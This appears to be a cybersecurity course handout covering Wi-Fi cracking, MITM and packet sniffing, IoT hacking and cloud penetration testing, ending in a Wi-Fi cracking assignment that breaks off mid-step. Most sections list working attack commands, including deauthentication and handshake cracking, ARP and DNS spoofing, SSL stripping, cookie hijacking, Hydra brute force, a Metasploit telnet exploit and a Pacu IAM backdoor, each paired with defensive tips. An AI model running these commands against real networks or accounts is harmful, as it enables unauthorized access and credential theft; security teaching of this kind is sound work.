ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION

◇ WIRELESS NETWORK ATTACKS: WEP, WPA/WPA2 CRACKING

📌 CHAPTER 1: INTRODUCTION TO WIRELESS NETWORK SECURITY

🔹 1.1 What is Wireless Network Security?

Wireless network security refers to **the practice of protecting Wi-Fi networks** from unauthorized access, cyber-attacks, and data interception. Unlike wired networks, wireless networks **broadcast data over the air**, making them more susceptible to attacks.

✓ Common Wireless Security Threats:

- **Unauthorized Access** – Attackers gain access to a private Wi-Fi network.
- **Man-in-the-Middle (MITM) Attacks** – Attackers intercept communication between devices.
- **Rogue Access Points** – Fake Wi-Fi hotspots used to steal credentials.
- **Denial of Service (DoS) Attacks** – Attackers flood the network, causing disruptions.

📌 Example:

A hacker sitting in a coffee shop sets up a **fake Wi-Fi hotspot** named

"Free_Coffee_WiFi" and tricks users into connecting, allowing them to steal login credentials.

🔸 1.2 Types of Wireless Security Protocols

Wireless networks use **encryption protocols** to protect data transmission. Below are the most common:

Protocol	Encryption Used	Security Strength
WEP (Wired Equivalent Privacy)	RC4	**Weak** – Can be cracked in minutes
WPA (Wi-Fi Protected Access)	TKIP	**Moderate** – Vulnerable to brute force
WPA2 (Wi-Fi Protected Access 2)	AES-CCMP	**Strong** – Most widely used
WPA3	GCMP-256	**Very Strong** – Latest and most secure

📌 **Key Takeaway:**

✓ WEP is outdated and highly vulnerable.

✓ WPA2 is currently the industry standard but has weaknesses.

✓ WPA3 is the most secure option for wireless networks.

📌 Chapter 2: WEP (Wired Equivalent Privacy) Attacks

🔸 2.1 Understanding WEP Encryption

WEP was the first wireless security standard introduced in **1999**, but its encryption mechanism is highly flawed.

✓ **Uses RC4 (Rivest Cipher 4) for encryption.**
✓ **Has a 24-bit Initialization Vector (IV), making key reuse predictable.**
✓ **Vulnerable to replay attacks and brute force attacks.**

📌 **Example:**
If an attacker collects enough **data packets**, they can reconstruct the **WEP key** using tools like **Aircrack-ng**.

🔸 2.2 Exploiting WEP with Packet Injection

To crack WEP, attackers use a method called **packet injection**, which speeds up the process of capturing IVs.

🛠 Step 1: Put the Wireless Interface in Monitor Mode

airmon-ng start wlano

✓ Allows monitoring of **all packets** on the Wi-Fi network.

🛠 Step 2: Scan for WEP Networks

airodump-ng wlanomon

✓ Displays a list of nearby Wi-Fi networks **with encryption types**.

🛠 Step 3: Capture Data Packets

airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlanomon

✓ Collects **data packets containing IVs**.

🛠 Step 4: Crack WEP Key Using Aircrack-ng

aircrack-ng -b 00:11:22:33:44:55 -w dictionary.txt wep_capture.cap

📌 **Outcome:**
✓ WEP key is cracked within **minutes**, proving its weakness.

📌 Chapter 3: WPA/WPA2 Cracking

🔸 3.1 Understanding WPA/WPA2 Encryption

WPA and WPA2 were developed to address WEP's flaws.

✓ WPA uses TKIP (Temporal Key Integrity Protocol), which is still vulnerable.
✓ WPA2 uses AES-CCMP (Advanced Encryption Standard - Counter Mode CBC-MAC Protocol).
✓ WPA2 is widely used but still susceptible to brute force attacks.

📌 **Example:**
A hacker **captures a WPA2 handshake** and uses a **dictionary attack** to crack the Wi-Fi password.

🔸 3.2 Cracking WPA/WPA2 Using Aircrack-ng

🛠 Step 1: Capture WPA2 Handshake

airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w handshake wlanomon

✓ Wait for a **client to connect** or force deauthentication.

🛠 Step 2: Perform a Deauthentication Attack

aireplay-ng -0 2 -a 00:11:22:33:44:55 wlanomon

✓ Forces a **connected device to reconnect,** capturing the **handshake**.

🛠 Step 3: Crack WPA2 Handshake Using Hashcat

hashcat -m 2500 handshake.hccapx rockyou.txt

📌 **Outcome:**
✓ If the **password is weak,** it gets cracked.

📌 Chapter 4: Other Wireless Attacks

🔸 4.1 Evil Twin Attack

✓ Attackers create a **fake Wi-Fi hotspot** that mimics a legitimate network.
✓ Users unknowingly connect and **enter sensitive credentials**.
📌 **Example:** A fake **Starbucks Wi-Fi network** tricks customers into entering login credentials.

🔸 4.2 Man-in-the-Middle (MITM) Attack

✓ Attackers intercept **data packets** between the user and Wi-Fi router.
✓ Can steal **passwords, emails, and session cookies**.
📌 **Example:** A hacker captures login credentials using **Wireshark**.

📌 Chapter 5: Preventing Wireless Attacks

✓ **Use WPA3 encryption instead of WPA2/WEP.**
✓ **Disable WPS (Wi-Fi Protected Setup) to prevent brute-force attacks.**
✓ **Use MAC address filtering to limit devices.**
✓ **Enable Intrusion Detection Systems (IDS) to detect unauthorized access points.**

📌 **Example:**
A company **implements WPA3 with complex passwords** and **disables WPS,** making brute-force attacks ineffective.

📌 Chapter 6: Summary & Next Steps

✅ **Key Takeaways**
✓ **WEP is outdated** and cracked in **minutes**.
✓ **WPA2 is stronger** but vulnerable to **brute-force attacks**.
✓ **Tools like Aircrack-ng & Hashcat** help test Wi-Fi security.
✓ **WPA3 provides enhanced protection** against modern attacks.

📌 **Next Steps:**
- **Practice wireless security on TryHackMe & Hack The Box.**
- **Use enterprise authentication (RADIUS) for better security.**
- **Stay updated on emerging Wi-Fi security vulnerabilities.** 🚀

◇ Man-in-the-Middle (MITM) & Packet Sniffing Attacks

📌 Chapter 1: Introduction to Man-in-the-Middle (MITM) & Packet Sniffing Attacks

🔹 1.1 What are MITM & Packet Sniffing Attacks?

A **Man-in-the-Middle (MITM) attack** occurs when an attacker secretly intercepts and relays communications between two parties who believe they are directly communicating with each other.

Packet Sniffing is the act of capturing and analyzing network packets to extract sensitive information like login credentials, credit card details, or session tokens.

🖼️ How MITM & Packet Sniffing Attacks Work

1. Attacker gains access to the network (via Wi-Fi, LAN, or malware).
2. Attacker intercepts and **alters communication** between two devices.
3. Attacker can **eavesdrop, inject malicious content, or steal credentials**.

📌 Example:

- A hacker in a **coffee shop** sets up a rogue **Wi-Fi network** and intercepts users' traffic, capturing login details.

🔹 1.2 Common Types of MITM Attacks

✓ **Wi-Fi Eavesdropping (Rogue Hotspot)** – Attackers create fake Wi-Fi networks to capture sensitive data.

✓ **ARP Spoofing (Address Resolution Protocol Spoofing)** – Redirects network traffic through an attacker's machine.

✓ **DNS Spoofing (Domain Name System Spoofing)** – Redirects users to fake websites.

✓ **SSL Stripping** – Downgrades HTTPS connections to HTTP, exposing passwords.

✓ **Session Hijacking** – Attackers steal **session cookies** to take over accounts.

📌 **Example:**

A hacker uses **ARP Spoofing** to intercept traffic between a victim's laptop and the router, allowing them to steal banking login credentials.

📌 Chapter 2: How MITM Attacks Work

🔸 2.1 ARP Spoofing Attack

ARP (Address Resolution Protocol) is used to map **IP addresses** to **MAC addresses** in a local network. Attackers exploit this by sending **fake ARP messages** to redirect traffic through their machine.

🛠 How to Perform ARP Spoofing Attack

Step 1: Enable Packet Forwarding

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

✓ Allows network packets to pass through the attacker's machine.

Step 2: Use arpspoof to Send Fake ARP Messages

```
arpspoof -i wlano -t 192.168.1.100 -r 192.168.1.1
```

✓ Redirects victim's traffic **through the attacker's machine**.

Step 3: Capture Network Packets Using tcpdump or Wireshark

tcpdump -i wlano

✓ Logs and analyzes intercepted traffic.

📌 **Outcome:**

✓ The attacker can **see all unencrypted traffic,** including **usernames and passwords**.

🔸 **2.2 DNS Spoofing Attack**

DNS (Domain Name System) translates **domain names (e.g., google.com) into IP addresses**. Attackers manipulate this process to redirect users to **malicious websites**.

🛠 **How to Perform DNS Spoofing**

Step 1: Edit the DNS Spoofing Configuration

echo "192.168.1.50 www.google.com" >> /etc/hosts

✓ Redirects users trying to visit **Google** to **a fake website** hosted on 192.168.1.50.

Step 2: Use dnsspoof to Intercept DNS Requests

dnsspoof -i wlano

✓ Redirects victim's DNS queries **to the attacker's fake site**.

📌 **Outcome:**

✓ Victims **unknowingly log into a fake website,** allowing attackers to **steal credentials**.

📌 Chapter 3: How Packet Sniffing Works

🔹 3.1 What is Packet Sniffing?

Packet sniffing is the process of **capturing and analyzing network traffic** to extract sensitive data. This is done using tools like **Wireshark, tcpdump, and Ettercap**.

📌 Example:

A hacker at an airport Wi-Fi **monitors network traffic**, capturing unencrypted **emails, passwords, and credit card data**.

🔹 3.2 Capturing Packets with Wireshark

🛠 How to Capture Network Packets

Step 1: Install Wireshark

sudo apt install wireshark

✓ Installs **Wireshark**, a graphical tool for packet analysis.

Step 2: Start Capturing Packets

1. Open Wireshark.
2. Select **your network interface (wlano for Wi-Fi, etho for Ethernet)**.
3. Click **Start Capture**.

Step 3: Filter for HTTP Passwords

Use the filter:

http.request.method == "POST"

✓ Shows HTTP POST requests **containing usernames and passwords**.

📌 **Outcome:**

✓ Captures **login credentials** sent over **unsecured websites (HTTP)**.

📌 Chapter 4: Advanced MITM Techniques

🔸 4.1 SSL Stripping Attack

SSL (Secure Sockets Layer) ensures **encrypted communication via HTTPS**. Attackers **strip HTTPS encryption,** forcing victims to communicate via **insecure HTTP**.

🛠 How to Perform SSL Stripping Attack

Step 1: Set Up a Transparent Proxy

```
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
```

✓ Redirects HTTP traffic to **a fake proxy**.

Step 2: Run SSLStrip to Downgrade HTTPS to HTTP

```
sslstrip -l 8080
```

✓ Downgrades **HTTPS connections to HTTP**.

📌 **Outcome:**

✓ The attacker can **steal passwords** even from HTTPS websites.

🔸 4.2 Session Hijacking Attack

✓ Attackers steal **session cookies** to take control of a user's logged-in session.
✓ Commonly used against **banking and social media accounts**.

🛠 How to Perform Session Hijacking

Step 1: Capture Cookies with Wireshark

http.cookie contains "session"

✓ Extracts **session IDs** from unencrypted traffic.

Step 2: Inject Stolen Session into Browser

1. Open **Developer Console** in Chrome.
2. Set **document.cookie="SESSION_ID"**.

📌 **Outcome:**
✓ The attacker can **bypass login and control the victim's account**.

📌 Chapter 5: Preventing MITM & Packet Sniffing Attacks

🔸 5.1 Secure Communication Practices

✓ Always use **HTTPS instead of HTTP**.
✓ Enable **Two-Factor Authentication (2FA)**.
✓ Use a **VPN** to encrypt network traffic.

🔸 5.2 Network Security Measures

✓ **Use WPA3 for Wi-Fi encryption** instead of WPA2/WEP.
✓ **Enable Intrusion Detection Systems (IDS)** to detect ARP/DNS spoofing.
✓ **Configure static ARP tables** to prevent ARP spoofing attacks.

📌 **Example:**

A company **disables weak encryption (WEP), enforces VPN use, and deploys IDS to detect MITM attempts**.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ MITM attacks intercept communication, allowing attackers to steal data.

✓ Packet sniffing captures network traffic, revealing sensitive information.

✓ Tools like Wireshark, SSLStrip, and ARP Spoofing are used for attacks.

✓ Prevention methods include VPNs, HTTPS, WPA3, and IDS systems.

📌 Next Steps:

- 🔹 Practice MITM attacks in a controlled environment (Kali Linux + VirtualBox).
- 🔹 Use encryption (TLS, VPN) to protect sensitive data.
- 🔹 Monitor networks for unusual ARP/DNS activity. 🚀

◇ IoT Security Challenges & Hacking IoT Devices

📌 Chapter 1: Introduction to IoT Security

🔸 1.1 What is IoT Security?

Internet of Things (IoT) security refers to **the protection of connected devices and networks** from cyber threats. IoT devices, such as smart home gadgets, medical equipment, and industrial sensors, communicate over the internet, making them vulnerable to hacking.

✓ Why is IoT Security Important?

- IoT devices **lack built-in security** compared to traditional computers.
- Many IoT devices have **default passwords and weak authentication**.
- Hacked IoT devices can be used for **DDoS attacks, data theft, and surveillance**.

📌 Example:
In **2016, the Mirai Botnet** infected thousands of IoT devices, launching a massive **DDoS attack** that took down websites like Twitter, Netflix, and Amazon.

📌 Chapter 2: Common IoT Security Challenges

🔸 2.1 Weak Authentication & Default Credentials

✓ Many IoT devices come with **hardcoded usernames and passwords** that users don't change.

✓ Attackers can easily **brute-force login credentials** and take control.

📌 **Example:**
A security camera with the default password **"admin123"** can be hacked remotely.

🔸 2.2 Lack of Encryption in Communication

✓ IoT devices transmit **data over unencrypted channels,** making them vulnerable to **Man-in-the-Middle (MITM) attacks**.
✓ Without **end-to-end encryption,** hackers can **intercept sensitive data**.

📌 **Example:**
A hacker intercepts **unencrypted smart home commands,** allowing them to **unlock smart doors remotely**.

🔸 2.3 Insecure Firmware & Software Updates

✓ Many IoT devices **lack automatic security updates,** leaving them vulnerable to exploits.
✓ Some manufacturers **don't provide patches,** making devices permanently insecure.

📌 **Example:**
A smart thermostat with an **unpatched vulnerability** can be exploited to **gain network access**.

🔸 2.4 IoT Device Botnets & DDoS Attacks

✓ Hackers infect IoT devices with malware to **create botnets**.

✓ These botnets launch **Distributed Denial of Service (DDoS) attacks**, overwhelming websites.

📌 **Example:**

The **Mirai botnet attack (2016)** used **hacked IoT devices** to flood Dyn DNS servers, **crippling major internet services**.

🔹 2.5 Physical Security Risks

✓ Many IoT devices are **physically accessible**, allowing attackers to extract firmware, modify hardware, or inject malicious code.

✓ **USB ports, debug interfaces, and open serial ports** can be exploited.

📌 **Example:**

An attacker **connects a USB device** to a smart TV, loading malware that **steals Wi-Fi credentials**.

📌 Chapter 3: Hacking IoT Devices – Techniques & Tools

🔹 3.1 Scanning & Identifying Vulnerable IoT Devices

✓ Attackers use **network scanning tools** to find exposed IoT devices.

✓ **Shodan.io** allows hackers to **search for publicly accessible IoT devices**.

🛠 Step 1: Use Shodan to Find IoT Devices

shodan search "webcamxp"

📌 **Outcome:**

✓ Lists **publicly accessible security cameras**.

🔸 3.2 Exploiting Default Credentials

✓ Many IoT devices use weak passwords like **"admin" or "password123"**.

✓ Attackers use **Hydra** or **Medusa** to brute-force login credentials.

🛠 Step 1: Brute-force an IoT Web Login with Hydra

```
hydra -l admin -P passwords.txt http://192.168.1.100/login.php -V
```

📌 **Outcome:**

✓ Successfully guesses the **default IoT device password**.

🔸 3.3 Sniffing IoT Traffic for Data Leakage

✓ IoT devices **often send data in cleartext** over **unencrypted HTTP protocols**.

✓ Attackers use **Wireshark** to capture and analyze packets.

🛠 Step 1: Capture IoT Traffic with Wireshark

1. Start Wireshark and select **your network interface**.
2. Apply the filter:

```
ip.addr == 192.168.1.100
```

3. Analyze captured **unencrypted login credentials**.

📌 **Outcome:**

✓ Extracts **usernames and passwords from unencrypted traffic**.

🔸 3.4 Exploiting IoT Device Firmware

✓ Attackers extract and analyze firmware to find **vulnerabilities or hardcoded secrets**.
✓ Tools like **Binwalk** help **reverse-engineer IoT firmware**.

🛠 Step 1: Extract Firmware for Analysis

```
binwalk -e firmware.bin
```

📌 Outcome:

✓ Extracts **files, configurations, and encryption keys**.

🔸 3.5 Gaining Shell Access on IoT Devices

✓ Some IoT devices have **Telnet or SSH enabled by default**.
✓ Attackers use **Metasploit** to exploit vulnerable services.

🛠 Step 1: Exploit an IoT Telnet Service

```
msfconsole

use exploit/unix/telnet/realtek_telnet

set RHOST 192.168.1.100

exploit
```

📌 Outcome:

✓ **Remote shell access** gained on the IoT device.

📌 Chapter 4: Preventing IoT Attacks

🔹 4.1 Change Default Credentials

✓ Set **strong passwords** for IoT device admin panels.
✓ Disable **default accounts and unused services**.

🔹 4.2 Enable Secure Encryption

✓ Use **WPA3 encryption** for Wi-Fi security.
✓ Ensure **IoT traffic uses TLS/SSL encryption**.

🔹 4.3 Keep Firmware & Software Updated

✓ Regularly **update firmware** to patch security vulnerabilities.
✓ Use **automatic security updates** when possible.

🔹 4.4 Use Firewalls & Network Segmentation

✓ Place IoT devices on **separate networks** from sensitive data.
✓ Use **firewalls** to restrict access to IoT device communication.

📌 **Example:**
Configure a **VLAN for IoT devices** to prevent unauthorized access.

📌 Chapter 5: Case Studies in IoT Security

🔹 5.1 Case Study: The Mirai Botnet Attack (2016)

✓ **What Happened?**

- Attackers **infected thousands of IoT devices** using default credentials.
- Created a **botnet** that launched **DDoS attacks**, disrupting major websites.

✓ **Lessons Learned:**

- **Change default passwords.**
- **Disable unnecessary IoT services.**

🔸 5.2 Case Study: Smart Home Device Hacking

✓ **What Happened?**

- A hacker gained access to a **smart thermostat** and adjusted home temperatures remotely.
- Exploited **weak authentication** on the smart home app.

✓ **Lessons Learned:**

- **Use multi-factor authentication (MFA).**
- **Keep IoT firmware updated.**

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ IoT devices lack strong security and are easy targets.

✓ Common IoT attacks include default credentials, MITM attacks, and firmware exploits.

✓ Shodan, Hydra, Wireshark, and Metasploit are used to test IoT

security.

✓ Changing passwords, updating firmware, and network segmentation improve IoT security.

📌 **Next Steps:**

- Practice IoT security in TryHackMe & Hack The Box.
- Learn firmware analysis techniques using Binwalk.
- Implement best practices for securing smart home devices. 🚀

◇ Cloud Security Fundamentals & Threats

📌 Chapter 1: Introduction to Cloud Security

🔹 1.1 What is Cloud Security?

Cloud security refers to the **set of technologies, policies, and best practices** designed to protect cloud computing environments from **cyber threats, data breaches, and unauthorized access**. Cloud security ensures **data confidentiality, integrity, and availability** while enabling businesses to scale efficiently.

✓ Key Areas of Cloud Security:

- 🔹 **Data Protection** – Encrypting and securing sensitive data.
- 🔹 **Identity & Access Management (IAM)** – Controlling user permissions.
- 🔹 **Network Security** – Preventing unauthorized access to cloud resources.
- 🔹 **Threat Detection** – Identifying and mitigating security threats.
- 🔹 **Regulatory Compliance** – Adhering to security standards like **GDPR, HIPAA, and ISO 27001**.

📌 Example:
A company storing **customer financial records** on AWS must implement **multi-factor authentication (MFA)** and **encryption** to prevent data leaks.

🔹 1.2 Types of Cloud Computing Models

Cloud computing is categorized into **three primary service models**:

Model	Description	Example Providers
IaaS (Infrastructure as a Service)	Provides virtualized computing resources over the internet.	AWS EC2, Google Compute Engine (GCE), Microsoft Azure Virtual Machines
PaaS (Platform as a Service)	Provides a framework for developers to build applications without managing infrastructure.	Google App Engine, Microsoft Azure App Services, AWS Elastic Beanstalk
SaaS (Software as a Service)	Cloud-hosted applications available on a subscription basis.	Google Workspace, Microsoft 365, Dropbox

📌 **Key Takeaway:**

✓ **IaaS** offers virtual servers and networking.

✓ **PaaS** allows application development without infrastructure management.

✓ **SaaS** provides ready-to-use software over the internet.

📌 Chapter 2: Cloud Security Challenges

🔹 2.1 Shared Responsibility Model

Cloud security follows a **shared responsibility model**, where the **cloud provider** and **customer** share security responsibilities.

✓ **Cloud Provider Responsibilities:**

- Secure **infrastructure** (physical data centers, network security).
- Ensure **uptime and availability**.

✓ **Customer Responsibilities:**

- Secure **data, user access, and applications**.
- Implement **identity and access controls**.

📌 **Example:**

If an organization **stores unencrypted customer data on AWS S3**, and it gets leaked due to **misconfigured permissions**, the organization is responsible—not AWS.

🔸 2.2 Major Cloud Security Challenges

Challenge	Description	Example
Data Breaches	Unauthorized access to sensitive data stored in the cloud.	Exposed AWS S3 buckets containing personal records.
Misconfiguration	Incorrect security settings in cloud storage, databases, or networking.	Publicly accessible databases leaking customer information.
Insider Threats	Employees or partners misusing access to cloud resources.	A disgruntled employee stealing sensitive company data.
Denial-of-Service (DoS) Attacks	Overloading cloud services to cause downtime.	Attackers flooding a cloud-hosted application with traffic.

📌 **Key Takeaway:**

✓ **Misconfiguration** is the **#1 cause of cloud data breaches**.

✓ **Insider threats** account for nearly **30% of cloud security incidents**.

📌 Chapter 3: Cloud Security Threats & Attack Vectors

🔸 3.1 Data Breaches & Leaks

A data breach occurs when **unauthorized entities** access **sensitive cloud-stored data**.

✓ **Causes:**

- Weak **password policies**.
- **Unencrypted** cloud storage.
- Misconfigured **IAM permissions**.

✓ **Prevention:**

- Use **data encryption (AES-256)** for sensitive cloud files.
- Enforce **Multi-Factor Authentication (MFA)** for all users.
- Monitor **cloud activity logs** for suspicious behavior.

📌 **Example:**
The **Capital One breach (2019)** occurred due to **misconfigured AWS S3 permissions**, exposing over **100 million customer records**.

🔸 3.2 Misconfiguration Attacks

Cloud services come with **default security settings**, which, if not modified properly, can expose systems.

✓ **Common Misconfigurations:**

- **Publicly exposed cloud storage (AWS S3, Azure Blob Storage)**.

- Weak **IAM roles and permissions**.
- Lack of **network segmentation**.

✓ **Prevention:**

- Use **cloud security posture management (CSPM)** tools like **Palo Alto Prisma Cloud**.
- Regularly perform **cloud configuration audits**.

📌 **Example:**
A security researcher **found an open Google Cloud Storage bucket** containing **unprotected health records**.

3.3 Ransomware Attacks on Cloud Services

Ransomware **encrypts cloud data,** making it inaccessible until a ransom is paid.

✓ **How Ransomware Spreads in the Cloud:**

- Cloud **misconfigurations** allow attackers to **overwrite or delete data**.
- **Compromised admin accounts** spread malware across cloud environments.

✓ **Prevention:**

- Enable **cloud backups & versioning** to restore encrypted files.
- Restrict **write permissions** to critical cloud storage.
- Use **endpoint detection and response (EDR) solutions**.

📌 **Example:**
The **Kaseya ransomware attack (2021)** targeted **cloud-based IT management** software, affecting **thousands of businesses**.

📌 Chapter 4: Cloud Security Best Practices

🔹 4.1 Identity and Access Management (IAM)

IAM **controls who can access cloud resources** and **what actions they can perform**.

✓ Best Practices:

- Enforce **Multi-Factor Authentication (MFA)** for cloud accounts.
- Follow **least privilege access (LPA)** – Users should only have **minimal permissions** needed for their role.
- Monitor **IAM activity logs** for unusual access attempts.

📌 Example:
AWS IAM allows setting up **role-based access control (RBAC),** ensuring **only authorized users** can modify cloud storage.

🔹 4.2 Cloud Network Security

Cloud networking security helps **prevent unauthorized access** to cloud-hosted applications.

✓ Best Practices:

- Use **Virtual Private Cloud (VPC) & Subnets** to isolate cloud workloads.
- Deploy **firewalls and Web Application Firewalls (WAFs)**.
- Implement **Cloud DDoS protection** (AWS Shield, Cloudflare).

📌 Example:
A **financial services company** secures its cloud applications using **Azure Virtual Network (VNet)** and **NSG (Network Security Groups)**.

🔸 4.3 Encryption & Data Protection

Cloud **data encryption** ensures that **even if data is stolen, it remains unreadable**.

✓ Encryption Strategies:

- Encrypt **data at rest** (stored data) and **data in transit** (moving data).
- Use **cloud provider-managed encryption keys (AWS KMS, Azure Key Vault)**.
- Implement **end-to-end encryption (E2EE)** for cloud communications.

📌 Example:
A **healthcare provider encrypts** all **patient records in Google Cloud Storage (GCS)** using **AES-256 encryption**.

📌 Chapter 5: Summary & Next Steps

✅ Key Takeaways

✓ Cloud security protects cloud environments from cyber threats.
✓ Common threats include data breaches, misconfigurations, and ransomware attacks.
✓ Best practices include IAM policies, encryption, and network segmentation.
✓ Use cloud security tools like CSPM, SIEM, and WAFs to enhance security.

📌 Next Steps:

- Practice cloud security configurations on AWS, Azure, or Google Cloud.
- Use penetration testing tools like Kali Linux & Burp Suite to test

cloud security.

- Stay updated on the latest cloud security threats and vulnerabilities. 🚀

◇ Penetration Testing in Cloud Environments

📌 Chapter 1: Introduction to Cloud Penetration Testing

🔸 1.1 What is Cloud Penetration Testing?

Cloud penetration testing is a **controlled security assessment** performed on cloud-based systems, applications, and services to identify and exploit vulnerabilities. Unlike traditional penetration testing, cloud pentesting involves testing **infrastructure-as-a-service (IaaS), platform-as-a-service (PaaS), and software-as-a-service (SaaS)** applications hosted on cloud platforms.

✓ Why is Cloud Pentesting Important?

- Cloud misconfigurations are responsible for **more than 70% of security breaches**.
- Identifies **vulnerabilities in cloud-hosted applications** and services.
- Ensures compliance with security standards like **ISO 27001, GDPR, HIPAA, and PCI-DSS**.
- Protects against **unauthorized access, data breaches, and privilege escalation**.

📌 Example:

A cloud security researcher discovers a **misconfigured AWS S3 bucket** that allows public access to **sensitive customer data**, making it vulnerable to data exfiltration.

🔸 1.2 Understanding Cloud Service Models

Cloud Model	Description	Security Responsibility

IaaS (Infrastructure as a Service)	Provides virtual machines, storage, and networking.	Cloud provider secures infrastructure, customer secures OS and applications.
PaaS (Platform as a Service)	Provides managed runtime environments for applications.	Cloud provider secures OS and runtime, customer secures application code.
SaaS (Software as a Service)	Provides cloud-hosted applications (e.g., Gmail, Salesforce).	Cloud provider secures entire stack, customer secures access and data.

📌 **Key Takeaway:**

✓ **IaaS has the most customer responsibility** for security, while **SaaS has the least**.

📌 Chapter 2: Cloud Penetration Testing Methodology

🔸 2.1 Steps in Cloud Penetration Testing

✓ **1. Reconnaissance (Information Gathering)**

- Identify **cloud service provider (AWS, Azure, GCP)**.
- Enumerate **public-facing applications, subdomains, and API endpoints**.

✓ **2. Scanning & Enumeration**

- Identify **open ports and misconfigured services**.
- Test **API security and authentication mechanisms**.

✓ **3. Exploitation (Gaining Access)**

- Exploit **cloud misconfigurations and vulnerable services**.
- Perform **server-side request forgery (SSRF) attacks** to access internal resources.

✓ **4. Privilege Escalation**

- Identify **over-privileged IAM (Identity and Access Management) roles**.
- Exploit **insecure API keys and hardcoded credentials**.

✓ **5. Post-Exploitation & Lateral Movement**

- Exfiltrate **sensitive data from cloud storage**.
- Attempt **pivoting to other cloud resources**.

✓ **6. Reporting & Remediation**

- Document **findings, vulnerabilities, and recommendations**.
- Implement **security hardening measures** to prevent future attacks.

📌 **Example:**
A penetration tester discovers an **exposed AWS IAM access key** in a public GitHub repository and uses it to access **cloud storage and sensitive customer records**.

📌 Chapter 3: Cloud Penetration Testing Tools

🔸 3.1 Reconnaissance & Enumeration Tools

✓ **CloudBrute** – Finds subdomains, S3 buckets, and cloud assets.
✓ **AWS CLI / Azure CLI / GCloud CLI** – Enumerates cloud resources and IAM policies.

✓ **Amass** – Performs DNS enumeration for cloud-based applications.

📌 **Example Command:**

aws s3 ls --profile victim-account

✓ Lists **publicly accessible S3 buckets**.

🔹 **3.2 Scanning & Vulnerability Assessment Tools**

✓ **Nmap** – Scans for **open ports and services** on cloud servers.
✓ **Burp Suite** – Identifies **vulnerable APIs and web applications**.
✓ **Nikto** – Detects **misconfigurations in web services**.

📌 **Example Command:**

nmap -p- -sV target.cloudapp.net

✓ Identifies **open cloud service ports**.

🔹 **3.3 Exploitation Tools**

✓ **CloudFox** – Finds **cloud misconfigurations and privilege escalation paths**.
✓ **Pacu** – AWS exploitation framework for **privilege escalation and data exfiltration**.
✓ **GCPBucketBrute** – Enumerates **Google Cloud Storage buckets**.

📌 **Example:**

pacu exploit iam__backdoor_users --keys AWS_ACCESS_KEY_ID

✓ Exploits **IAM misconfigurations** to create backdoor access.

📌 Chapter 4: Common Cloud Security Vulnerabilities

🔹 4.1 Misconfigured Cloud Storage

✓ Publicly accessible **S3 buckets, Azure Blob Storage, Google Cloud Storage**.
✓ Attackers **steal, modify, or delete sensitive data**.

📌 Example:
An unsecured **AWS S3 bucket** exposes **passport scans** of customers.

🛠 How to Prevent It?

aws s3api put-bucket-acl --bucket mybucket --acl private

✓ **Always set cloud storage to private** unless explicitly required.

🔹 4.2 Over-Permissive IAM Roles

✓ IAM roles with **"AdministratorAccess"** allow **full control** over cloud resources.
✓ Attackers can **escalate privileges and compromise accounts**.

📌 Example:
A compromised **developer IAM role** allows attackers to **deploy new cloud instances for cryptojacking**.

🛠 How to Prevent It?

✓ Follow **least privilege principles** and regularly audit **IAM policies**.

🔹 4.3 Insecure API Keys & Secrets

✓ Hardcoded **cloud API keys in GitHub repositories**.
✓ Leaked keys allow **unauthorized access to cloud services**.

📌 **Example:**
A leaked AWS API key on GitHub allows attackers to **spin up 1000 virtual machines** for mining cryptocurrency.

🛠 **How to Prevent It?**

✓ Store API keys in **AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager**.

📌 Chapter 5: Securing Cloud Environments

🔹 5.1 Implementing Cloud Security Best Practices

✓ Use **multi-factor authentication (MFA)** for all cloud accounts.
✓ Regularly **audit cloud permissions and access logs**.
✓ Implement **cloud-native security solutions like AWS GuardDuty and Azure Security Center**.
✓ Monitor **network activity for unusual patterns** (e.g., sudden data transfers).

📌 **Example:**
An organization uses **AWS CloudTrail** to track API calls and **detect suspicious activity**.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ Cloud penetration testing identifies misconfigurations and vulnerabilities in cloud environments.

✓ Tools like CloudBrute, Pacu, and AWS CLI help enumerate cloud resources and misconfigurations.

✓ Misconfigured S3 buckets, exposed API keys, and over-privileged IAM roles are major attack vectors.

✓ Implementing security best practices like IAM hardening, MFA, and cloud-native security tools prevents attacks.

📌 **Next Steps:**

🔹 Practice cloud pentesting in AWS, Azure, or GCP sandbox environments.

🔹 Use tools like CloudFox, Pacu, and GCPBucketBrute to test cloud security.

🔹 Stay updated on cloud security trends by following OWASP Cloud Top 10. 🚀

ASSIGNMENT 1:

PERFORM A WI-FI PENETRATION TEST USING AIRCRACK-NG.

📌 Solution: Assignment 1 – Performing a Wi-Fi Penetration Test Using Aircrack-ng

🎯 Objective

The objective of this assignment is to **perform a Wi-Fi penetration test** using **Aircrack-ng** to analyze, capture, and crack wireless network security mechanisms such as **WEP and WPA/WPA2 encryption**.

📌 Step 1: Setting Up the Environment

🔹 1.1 Requirements

Before starting, ensure you have the following:

✓ **Kali Linux or Parrot OS** (pre-installed with Aircrack-ng).

✓ **A compatible Wi-Fi adapter** (e.g., Alfa AWUS036NHA or TP-Link TL-WN722N).

✓ **Aircrack-ng suite installed** (airmon-ng, airodump-ng, aireplay-ng, aircrack-ng).

🔹 1.2 Installing Aircrack-ng (If Not Installed)

sudo apt update && sudo apt install aircrack-ng -y

✓ Ensures Aircrack-ng is installed and up to date.

📌 Step 2: Setting Wireless Adapter to Monitor Mode

🔹 2.1 Identify Your Wireless Adapter

iwconfig

📌 **Expected Output:**

✓ Lists **wireless interfaces** (e.g., wlano).

🔹 **2.2 Enable Monitor Mode**

sudo airmon-ng start wlano

📌 **Expected Output:**

✓ Changes interface to **monitor mode** (wlanomon).

📌 **Step 3: Scanning for Wi-Fi Networks**

🔹 **3.1 Capture Nearby Wi-Fi Networks**

sudo airodump-ng wlanomon

📌 **Expected Output:**

✓ Displays **Wi-Fi networks,** encryption types (**WEP, WPA, WPA2**), and BSSIDs.

📌 **Step 4: Capturing Handshakes (WPA/WPA2 Cracking)**

🔹 **4.1 Target a Specific Network**

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w handshake wlanomon

